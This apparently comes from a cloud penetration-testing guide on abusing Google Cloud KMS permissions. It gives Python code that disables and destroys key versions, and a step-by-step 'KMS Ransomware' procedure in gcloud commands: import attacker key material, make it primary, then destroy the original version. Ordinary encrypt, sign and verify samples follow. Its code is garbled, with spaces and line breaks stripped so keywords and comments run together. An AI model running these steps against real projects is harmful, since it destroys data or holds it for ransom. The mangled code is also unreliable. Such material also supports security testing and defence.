An attacker with this permission could destroy a KMS version. In order to do this you first need to disable the key and then destroy it:
# pip install google-cloud-kmsfrom google.cloud import kmsdefdisable_key_version(project_id,location_id,key_ring_id,key_id,key_version):""" Disables a key version in Cloud KMS. """# Create the client. client = kms.KeyManagementServiceClient()# Build the key version name. key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Call the API to disable the key version. client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})
defdestroy_key_version(project_id,location_id,key_ring_id,key_id,key_version):""" Destroys a key version in Cloud KMS. """# Create the client. client = kms.KeyManagementServiceClient()# Build the key version name. key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Call the API to destroy the key version. client.destroy_crypto_key_version(request={'name': key_version_name})# Example usageproject_id ='your-project-id'location_id ='your-location'key_ring_id ='your-key-ring'key_id ='your-key-id'key_version ='1'# Version number to disable and destroy# Disable the key versiondisable_key_version(project_id, location_id, key_ring_id, key_id, key_version)# Destroy the key versiondestroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
KMS Ransomware
In AWS it's possible to completely steal a KMS key by modifying the KMS resource policy and only allowing the attackers account to use the key. As these resource policies doesn't exist in GCP this is not possible.
However, there is another way to perform a global KMS Ransomware, which would involve the following steps:
Create a new version of the key with a key material imported by the attacker
Set it as default version (for future data being encrypted)
Re-encrypt older data encrypted with the previous version with the new one.
Delete the KMS key
Now only the attacker, who has the original key material could be able to decrypt the encrypted data
Here are the steps to import a new version and disable/delete the older data:
# Encrypt something with the original keyecho"This is a sample text to encrypt">/tmp/my-plaintext-file.txtgcloudkmsencrypt \--locationus-central1 \--keyringkms-lab-2-keyring \--keykms-lab-2-key \--plaintext-filemy-plaintext-file.txt \--ciphertext-filemy-encrypted-file.enc# Decrypt itgcloudkmsdecrypt \--locationus-central1 \--keyringkms-lab-2-keyring \--keykms-lab-2-key \--ciphertext-filemy-encrypted-file.enc \--plaintext-file-# Create an Import Jobgcloudkmsimport-jobscreatemy-import-job \--locationus-central1 \--keyringkms-lab-2-keyring \--import-method"rsa-oaep-3072-sha1-aes-256" \--protection-level"software"# Generate key materialopensslrand-outmy-key-material.bin32# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)gcloudkmskeysversionsimport \--import-jobmy-import-job \--locationus-central1 \--keyringkms-lab-2-keyring \--keykms-lab-2-key \--algorithm"google-symmetric-encryption" \ --target-key-filemy-key-material.bin# Get versionsgcloudkmskeysversionslist \--locationus-central1 \--keyringkms-lab-2-keyring \--keykms-lab-2-key# Make new version primarygcloudkmskeysupdate \--locationus-central1 \--keyringkms-lab-2-keyring \--keykms-lab-2-key \--primary-version2# Try to decrypt again (error)gcloudkmsdecrypt \--locationus-central1 \--keyringkms-lab-2-keyring \--keykms-lab-2-key \--ciphertext-filemy-encrypted-file.enc \--plaintext-file-# Disable initial versiongcloudkmskeysversionsdisable \--locationus-central1 \--keyringkms-lab-2-keyring \--keykms-lab-2-key1# Destroy the old versiongcloudkmskeysversionsdestroy \--locationus-central1 \--keyringkms-lab-2-keyring \--keykms-lab-2-key \--version1
from google.cloud import kmsimport base64defencrypt_symmetric(project_id,location_id,key_ring_id,key_id,plaintext):""" Encrypts data using a symmetric key from Cloud KMS. """# Create the client. client = kms.KeyManagementServiceClient()# Build the key name. key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)# Convert the plaintext to bytes. plaintext_bytes = plaintext.encode('utf-8')# Call the API. encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes}) ciphertext = encrypt_response.ciphertext# Optional: Encode the ciphertext to base64 for easier handling.return base64.b64encode(ciphertext)# Example usageproject_id ='your-project-id'location_id ='your-location'key_ring_id ='your-key-ring'key_id ='your-key-id'plaintext ='your-data-to-encrypt'ciphertext =encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)print('Ciphertext:', ciphertext)
cloudkms.cryptoKeyVersions.useToSign
import hashlibfrom google.cloud import kmsdefsign_asymmetric(project_id,location_id,key_ring_id,key_id,key_version,message):""" Sign a message using an asymmetric key version from Cloud KMS. """# Create the client. client = kms.KeyManagementServiceClient()# Build the key version name. key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Convert the message to bytes and calculate the digest. message_bytes = message.encode('utf-8') digest ={'sha256': hashlib.sha256(message_bytes).digest()}# Call the API to sign the digest. sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)return sign_response.signature# Example usage for signingproject_id ='your-project-id'location_id ='your-location'key_ring_id ='your-key-ring'key_id ='your-key-id'key_version ='1'message ='your-message'signature =sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)print('Signature:', signature)
cloudkms.cryptoKeyVersions.useToVerify
from google.cloud import kmsimport hashlibdefverify_asymmetric_signature(project_id,location_id,key_ring_id,key_id,key_version,message,signature):""" Verify a signature using an asymmetric key version from Cloud KMS. """# Create the client. client = kms.KeyManagementServiceClient()# Build the key version name. key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)# Convert the message to bytes and calculate the digest. message_bytes = message.encode('utf-8') digest ={'sha256': hashlib.sha256(message_bytes).digest()}# Build the verify request and call the API. verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)return verify_response.success# Example usage for verificationverified =verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)print('Verified:', verified)